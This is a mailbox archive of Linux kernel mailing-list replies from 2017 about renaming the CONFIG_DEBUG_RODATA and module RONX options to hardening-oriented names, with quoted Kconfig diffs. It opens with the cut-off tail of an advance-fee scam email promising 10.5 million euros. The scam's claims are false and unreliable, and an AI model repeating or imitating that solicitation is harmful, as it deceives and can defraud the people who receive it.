mining gold and diamonds in Africa. But now, I'm very sick of a cancer. My
husband died in an accident two years ago with our two children and now I have
cancer of the esophagus that damaged almost all the cells in my system/agencies
and I'll die soon according to my doctor.

My most concern now is, we grew up in the orphanage and were married in
orphanage. If I die this deposited fund will soon be left alone in the hand of
the bank, and I do want to it that  way. Please, if you can be reliable and
sincere to accept my humble proposal; I have (10.5Millions Euro) in a fixed
deposit account; I will order the Bank to transfer the money into your account
in your country immediately, and then you will take the fund to  your country
and invest it to the orphanage homes Please, answer as quickly as possible.

God bless you.
Ms. Joyes Dadi
Email: joyesdadi767@citromail.hu
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Wed, 25 Jan 2017 12:21:05 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <fca01775-9640-8783-a657-a9e6cf0c3e0a@redhat.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
 <20170119075341.GA14530@amd>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485343290 16556 195.159.176.226 (25 Jan 2017 11:21:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jan 2017 11:21:30 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Kees Cook <keescook@chromium.org>,
 Jason Wessel <jason.wessel@windriver.com>, Jonathan Corbet <corbet@lwn.net>,
 Russell King <linux@armlinux.org.uk>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon
 <will.deacon@arm.com>, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Helge Deller <deller@gmx.de>, Martin Schwidefsky <schwidefsky@de.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@redhat.com>,
 "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
 Rob Herring <robh@kernel.org>, "Rafael J. Wysocki" <rjw@rjwysocki.net>,
 Len Brown <len.brown@intel.com>, Mark Rutland <mark.rutland@arm.com>,
 Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-pm@vger.kernel.org, kernel-hardening
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: kernel-hardening-return-6148-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Wed Jan 25 12:21:23 2017
Return-path: <kernel-hardening-return-6148-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6148-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cWLdj-0003kB-Fy
	for glkh-kernel-hardening@m.gmane.org; Wed, 25 Jan 2017 12:21:23 +0100
Original-Received: (qmail 9226 invoked by uid 550); 25 Jan 2017 11:21:26 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 8181 invoked from network); 25 Jan 2017 11:21:25 -0000
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=fwoAacq7GpHip7O8NgCZe97+kziuC+UFQDKs5uzySjo=;
        b=EfQ7HcyHFF02fDWodnXIXcIf3Cq1YoPIjUQHTk8IOxsa6GAQKQ3FAp4TL9mHiVHFkF
         G23MrB2tjellPHMdFtSRHr+Z2vw1JlLynQ/ZwkIghtXq6dV98+5mC92VwNGYim2mU4RG
         Gq/TlyvKkaomJg2HTPgXKVvpyuxX8+AdD9WiZNR7jF0vQqevr/DOe4Zy7Mzoe3wrIlx4
         dvqmxBxcQbcZUuGMdNttp9GtM3umbIgRw1UMgvhid3uocWsH4qbs3mi50DQ9ntDolEGb
         XZqDFounGSESscOVRvwHIJ6VMspWVOBDY8Mpw874pA0gZ9s9PwjQAXESEf+ni3gAaulQ
         wwPg==
X-Gm-Message-State: AIkVDXJj7fkLGGFKh/M2+gbTgsWV72dFYpLr4durIoaHQtlBYKCVEGzvbkA25hpvIzxdtRXb
X-Received: by 10.13.202.13 with SMTP id m13mr29952228ywd.251.1485343273872;
        Wed, 25 Jan 2017 03:21:13 -0800 (PST)
In-Reply-To: <20170119075341.GA14530@amd>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5301 gmane.linux.documentation:44511 gmane.linux.kernel:2395877 gmane.linux.ports.arm.kernel:553989 gmane.linux.ports.parisc:27224 gmane.linux.power-management.general:85767
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5301>

On 01/19/2017 08:53 AM, Pavel Machek wrote:
> On Wed 2017-01-18 17:29:05, Laura Abbott wrote:
>>
>> Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
>> provides key security features that are to be expected on a modern
>> system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
>> accurately describes what this option is intended to do.
>
> I think this is bad change. CONFIG_DEBUG_RODATA is describing what it
> does, CONFIG_HARDENED_PAGE_MAPPINGS is advertising.
>
> We don't do advertising, and we don't force people to re-answer the
> config questions without good reason.
>
> CONFIG_HARDENED_RODATA might fix the first problem, but not the second
> one.
>
> 								Pavel
> 								

(Apologies, my SMTP was set up incorrectly so my response didn't
actually get sent out)

CONFIG_DEBUG_RODATA isn't describing what it does though. It misses
that this config may handle much more than just rodata. I think
Mark Rutland's suggestion of STRICT_KERNEL_RWX might be more
descriptive.

Thanks,
Laura


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Wed, 25 Jan 2017 12:25:03 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <4116b91a-4fb5-414d-5fd5-36be151c600c@redhat.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
 <20170119105646.GA11176@leverpostej>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485343522 22343 195.159.176.226 (25 Jan 2017 11:25:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jan 2017 11:25:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.i
To: Mark Rutland <mark.rutland@arm.com>
Original-X-From: linux-pm-owner@vger.kernel.org Wed Jan 25 12:25:14 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cWLhP-0006om-2f
	for gll-linux-pm2@m.gmane.org; Wed, 25 Jan 2017 12:25:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752167AbdAYLZO (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Wed, 25 Jan 2017 06:25:14 -0500
Original-Received: from mail-yb0-f171.google.com ([209.85.213.171]:34543 "EHLO
        mail-yb0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752149AbdAYLZM (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Wed, 25 Jan 2017 06:25:12 -0500
Original-Received: by mail-yb0-f171.google.com with SMTP id j82so6935930ybg.1
        for <linux-pm@vger.kernel.org>; Wed, 25 Jan 2017 03:25:12 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=ElSoVZqz/Gvh0tMOeUEwYxzvPmZbxdJ91D61tWqsPEw=;
        b=CCu4Uo7A6eRidb+1AUd1k4cXLe7BeTjb4jUHyLVBSPFYyfDSyHYYjE15Lu+aCghKdv
         D8t66YqKO9bEY+TeYmfBAVjc20xS8EDmAJnIejHov1hHO/hELOpMgnayZ2uAl+5YFwvv
         raMIn85TUOIpUs87v13S1s4MsZmYwf8I7dxBzN2LI5oHp+L1Cnn09qm6GCn+N5shv92D
         t+EuFFPEBfmiGeKwDPCBip1nhoiwK8BF2nKuaDY8GcGg0N+7gfBNiXXftDGMRUGZ1SfB
         x1GNPV1BdBwuR/+qL8hDZ2sG++Gaybq9wLP9Hts9SR9aBa5/i/sW+LjVop7alaFe/P5i
         soUw==
X-Gm-Message-State: AIkVDXIM8jQIZS6Szqu4TLwA1Ol4QCY1YPp6/QINMx7juoJVklR/hdiZYiju5q0yr+dxXvd7
X-Received: by 10.37.96.67 with SMTP id u64mr3603869ybb.12.1485343511944;
        Wed, 25 Jan 2017 03:25:11 -0800 (PST)
Original-Received: from [10.200.136.245] ([213.175.37.12])
        by smtp.gmail.com with ESMTPSA id q14sm11823ywa.53.2017.01.25.03.25.04
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 25 Jan 2017 03:25:10 -0800 (PST)
In-Reply-To: <20170119105646.GA11176@leverpostej>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:85768 gmane.linux.documentation:44512 gmane.linux.kernel:2395882 gmane.linux.ports.arm.kernel:553994 gmane.linux.ports.parisc:27225 gmane.linux.kernel.hardened.devel:5302
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/85768>

On 01/19/2017 11:56 AM, Mark Rutland wrote:
> Hi Laura,
>
> On Wed, Jan 18, 2017 at 05:29:05PM -0800, Laura Abbott wrote:
>>
>> Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
>> provides key security features that are to be expected on a modern
>> system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
>> accurately describes what this option is intended to do.
>
> This generally sounds good. Thanks for attacking this!
>
> On the bikeshedding front, *maybe* it would be nice to mention
> permissions in the name, something like STRICT_KERNEL_RWX. That might
> also prevent the reading of 'hardened' as 'optional overhead'.
>
> That said, the proposed name is fine by me -- I'm happy so long as
> 'DEBUG' goes.
>

(Apologies for the delay, my SMTP was set up incorrectly so my
messages didn't actually get sent out)

I like that better since it's describing specifically what the config
should be setting as opposed to something more vague. That might fit
better with what Pavel was suggesting as well.

Thanks,
Laura


--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Wed, 25 Jan 2017 12:37:14 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <fe23dcb6-196b-96bc-f801-c3bb7db6d708@redhat.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
 <20170119105646.GA11176@leverpostej> <20170119113305.GB5110@osiris>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485344258 17061 195.159.176.226 (25 Jan 2017 11:37:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jan 2017 11:37:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-parisc@vger.kernel.org,
To: Heiko Carstens <heiko.carstens@de.ibm.com>,
        Mark Rutland <mark.rutland@arm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 25 12:37:30 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cWLtC-0003Dw-Sy
	for glk-linux-kernel-3@m.gmane.org; Wed, 25 Jan 2017 12:37:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751403AbdAYLh0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 25 Jan 2017 06:37:26 -0500
Original-Received: from mail-yb0-f173.google.com ([209.85.213.173]:33040 "EHLO
        mail-yb0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751365AbdAYLhX (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 25 Jan 2017 06:37:23 -0500
Original-Received: by mail-yb0-f173.google.com with SMTP id w194so110318962ybe.0
        for <linux-kernel@vger.kernel.org>; Wed, 25 Jan 2017 03:37:22 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=bmv7j0zbblcJgXe63LPQ6y1kLE3X33H7a9BCGBexbS0=;
        b=C64ngwduxgwKaUcOUIzut7tMfEJUzpiqdc7Eyfx3/D1njL1QTPVn4vOp8DAIbbX+lJ
         bsqdn1BfZshH9Y5QG78rrRValmzGKGMd4h4J42Cb6mn/Cz7RHVuQt4TNL7Im+4CszBFO
         vcuwquUu/RMsomU/TOiuB08lz98NesMxLa4IpW6oQrw4JswjD5q7kXOPp1m/yCS+RiR3
         YEdMR5kRDJ5YF/HKXscFJ9IT9AbdaCKAFYXF48Rr+jqo99zScoAdj1xOMfWG31zii2TJ
         Hqu4UPtIwpLxf89N4f2R0xmVO8h1Q37afDqJmll5Xq+y8l99qyXA0hzkYVxn2ksOBm+h
         gkJw==
X-Gm-Message-State: AIkVDXLRW4cxGfgxRs5XDQN3ydXuMjoqrDROReWjnZR1FIHvA5ZjHmE3Zg+tjMs4OOfF+Bcg
X-Received: by 10.129.116.136 with SMTP id p130mr33697321ywc.151.1485344242383;
        Wed, 25 Jan 2017 03:37:22 -0800 (PST)
Original-Received: from [10.200.136.245] ([213.175.37.12])
        by smtp.gmail.com with ESMTPSA id b190sm11314841ywe.56.2017.01.25.03.37.15
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 25 Jan 2017 03:37:21 -0800 (PST)
In-Reply-To: <20170119113305.GB5110@osiris>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2395886 gmane.linux.documentation:44513 gmane.linux.ports.arm.kernel:553996 gmane.linux.ports.parisc:27226 gmane.linux.power-management.general:85769 gmane.linux.kernel.hardened.devel:5303
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2395886>

On 01/19/2017 12:33 PM, Heiko Carstens wrote:
> On Thu, Jan 19, 2017 at 10:56:46AM +0000, Mark Rutland wrote:
>>> +config HARDENED_PAGE_MAPPINGS
>>> +	bool "Mark kernel mappings with stricter permissions (RO/W^X)"
>>> +	default y
>>> +	depends on ARCH_HAS_HARDENED_MAPPINGS
>>> +	help
>>> +          If this is set, kernel text and rodata memory will be made read-only,
>>> +	  and non-text memory will be made non-executable. This provides
>>> +	  protection against certain security attacks (e.g. executing the heap
>>> +	  or modifying text).
>>> +
>>> +	  Unless your system has known restrictions or performance issues, it
>>> +	  is recommended to say Y here.
>>
>> It's somewhat unfortunate that this means the feature is no longer
>> mandatory on arm64 (and s390+x86). We have a boot-time switch to turn
>> the protections off, so I was hoping we could make this mandatory on all
>> architectures with support.
>>
>> It would be good to see if we could make this mandatory for arm and
>> parisc, or if it really needs to be optional for either of those.
>
> Looks like the config option is a no-op on parisc just like it is on
> s390. Irrelavant of the config option at least on s390 the page tables for
> kernel text and rodata will be read-only anyway.
>
> This works since ages and I don't see a reason why this should be
> changed. Also trying to disable this with the "rodata=" command line option
> does not work at least on s390, and I guess this is true for parisc as
> well.
>
> The only thing implemented with CONFIG_DEBUG_RODATA on both architectures
> is to emit a message that states memory has been protected
> (mark_rodata_ro).
> This just avoids a wrong "Kernel memory protection disabled." message.
>
> So yes, I'd really like to keep this option mandatory.
>

(Apologies, my SMTP server was set up incorrectly so this didn't get
sent out when I thought it did)

Okay, that's useful to know. I think I'm going to add a
'select HARDENED_MAPPINGS' (or whatever it gets changed to) to arches
that were previously def_bool. This is a slight Kconfig semantic change
but as has been pointed out we now have the command line option.

Thanks,
Laura



From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.kernel.hardened.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 2/2] security: Change name of CONFIG_DEBUG_SET_MODULE_RONX
Date: Wed, 25 Jan 2017 12:44:14 +0100
Lines: 178
Approved: news@gmane.org
Message-ID: <c7182933-b255-78a1-178b-798262035272@redhat.com>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-3-git-send-email-labbott@redhat.com>
 <5005f110-2279-9ac7-c9c5-1894b8f6387d@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485344696 19471 195.159.176.226 (25 Jan 2017 11:44:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jan 2017 11:44:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Kees Cook <keescook@chromium.org>,
        Mark Rutland <mark.rutland@arm.com>, linux-doc@vger.kernel.org,
        Catalin Marinas <catalin.marinas@arm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
        kernel-hardening@lists.openwall.com, Rob Herring <robh@kernel.org>,
        Jessica Yu <jeyu@redhat.com>, Jonathan Corbet <corbet@lwn.net>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        Russell King <linux@armlinux.org.uk>,
        Ingo Molnar <mingo@redhat.com>,
        Len Brown <len.brown@intel.com>, linux-s390@vger.kernel.org,
        Will Deacon <will.deacon@arm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        linux-pm@vger.kernel.org, "Ra
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 25 12:44:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cWM0J-00049i-E6
	for glk-linux-kernel-3@m.gmane.org; Wed, 25 Jan 2017 12:44:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751954AbdAYLor (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 25 Jan 2017 06:44:47 -0500
Original-Received: from mail-yb0-f181.google.com ([209.85.213.181]:36310 "EHLO
        mail-yb0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751421AbdAYLop (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 25 Jan 2017 06:44:45 -0500
Original-Received: by mail-yb0-f181.google.com with SMTP id 123so7259016ybe.3
        for <linux-kernel@vger.kernel.org>; Wed, 25 Jan 2017 03:44:31 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=takRs2ldqn65HAfthQCh1UUS+uHvzLLzDB064ynMLHE=;
        b=CI223l1OtYvSrk1KVtfgVJfVHaVRN96ad8bccsNzMOC6T14vx9TkWfctshhNiuwh1J
         /mUV4bJoB+NbuvLrzmVD7C1W6mA/Qx7SoCQCbx6tV+721zhaCtyH8D6VQV66+OxluOGZ
         1uQgeXm9MjrtHGf9dVbvcpze2O5hoNoWS5AR/Yxs3mT6SaW3mSqvGJ33iC2/Fz9fnuWK
         o4Az31fTchlyjmYNxBrKjRXCL+0cF7ywbDq5yikuk1HrV+VaThXHaL4JAFZ2cZDHWUJq
         OhptCP/oLVqOGM6SKGt/llWGiqdomdBIsd5yE0L89OWoEWkZt2sVcye5eHt6vTXDXlcu
         bKIQ==
X-Gm-Message-State: AIkVDXJaINwM8qlS0QVACllO8LMua0hWRk/Lo8O4lNbtYSUADzVVNXIFc9FHfINTqQ+tGpLj
X-Received: by 10.129.145.204 with SMTP id i195mr32900141ywg.263.1485344665350;
        Wed, 25 Jan 2017 03:44:25 -0800 (PST)
Original-Received: from [10.200.136.245] ([213.175.37.12])
        by smtp.gmail.com with ESMTPSA id e70sm11310192ywa.29.2017.01.25.03.44.15
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 25 Jan 2017 03:44:24 -0800 (PST)
In-Reply-To: <5005f110-2279-9ac7-c9c5-1894b8f6387d@arm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2395895 gmane.linux.documentation:44514 gmane.linux.kernel.hardened.devel:5304 gmane.linux.ports.arm.kernel:553998 gmane.linux.ports.parisc:27227 gmane.linux.power-management.general:85770
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2395895>

On 01/19/2017 12:43 PM, Robin Murphy wrote:
> Hi Laura,
>
> On 19/01/17 01:29, Laura Abbott wrote:
>>
>> Despite the word 'debug' in CONFIG_DEBUG_SET_MODULE_RONX, this kernel
>> option provides key security features that are to be expected on a
>> modern system. Change the name to CONFIG_HARDENED_MODULE_MAPPINGS which
>> more accurately describes what this option is intended to do.
>>
>> Signed-off-by: Laura Abbott <labbott@redhat.com>
>> ---
>
> [...]
>
>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
>> index 09aff28..ef852e4 100644
>> --- a/arch/arm/Kconfig
>> +++ b/arch/arm/Kconfig
>> @@ -8,6 +8,7 @@ config ARM
>>  	select ARCH_HAVE_CUSTOM_GPIO_H
>>  	select ARCH_HAS_GCOV_PROFILE_ALL
>>  	select ARCH_HAS_HARDENED_MAPPINGS if MMU && !XIP_KERNEL
>> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS if MMU
>>  	select ARCH_MIGHT_HAVE_PC_PARPORT
>>  	select ARCH_SUPPORTS_ATOMIC_RMW
>>  	select ARCH_USE_BUILTIN_BSWAP
>> diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
>> index d83f7c3..426d271 100644
>> --- a/arch/arm/Kconfig.debug
>> +++ b/arch/arm/Kconfig.debug
>> @@ -1738,17 +1738,6 @@ config PID_IN_CONTEXTIDR
>>  	  additional instructions during context switch. Say Y here only if you
>>  	  are planning to use hardware trace tools with this kernel.
>>
>> -config DEBUG_SET_MODULE_RONX
>> -	bool "Set loadable kernel module data as NX and text as RO"
>> -	depends on MODULES && MMU
>> -	---help---
>> -	  This option helps catch unintended modifications to loadable
>> -	  kernel module's text and read-only data. It also prevents execution
>> -	  of module data. Such protection may interfere with run-time code
>> -	  patching and dynamic kernel tracing - and they might also protect
>> -	  against certain classes of kernel exploits.
>> -	  If in doubt, say "N".
>> -
>>  source "drivers/hwtracing/coresight/Kconfig"
>>
>>  endmenu
>
> [...]
>
>> --- a/arch/arm64/Kconfig
>> +++ b/arch/arm64/Kconfig
>> @@ -12,6 +12,7 @@ config ARM64
>>  	select ARCH_HAS_GCOV_PROFILE_ALL
>>  	select ARCH_HAS_GIGANTIC_PAGE
>>  	select ARCH_HAS_HARDENED_MAPPINGS
>> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>>  	select ARCH_HAS_KCOV
>>  	select ARCH_HAS_SG_CHAIN
>>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>> diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
>> index a26d27f..1eebe1f 100644
>> --- a/arch/arm64/Kconfig.debug
>> +++ b/arch/arm64/Kconfig.debug
>> @@ -71,17 +71,6 @@ config DEBUG_WX
>>
>>  	  If in doubt, say "Y".
>>
>> -config DEBUG_SET_MODULE_RONX
>> -	bool "Set loadable kernel module data as NX and text as RO"
>> -	depends on MODULES
>> -	default y
>> -	help
>> -	  Is this is set, kernel module text and rodata will be made read-only.
>> -	  This is to help catch accidental or malicious attempts to change the
>> -	  kernel's executable code.
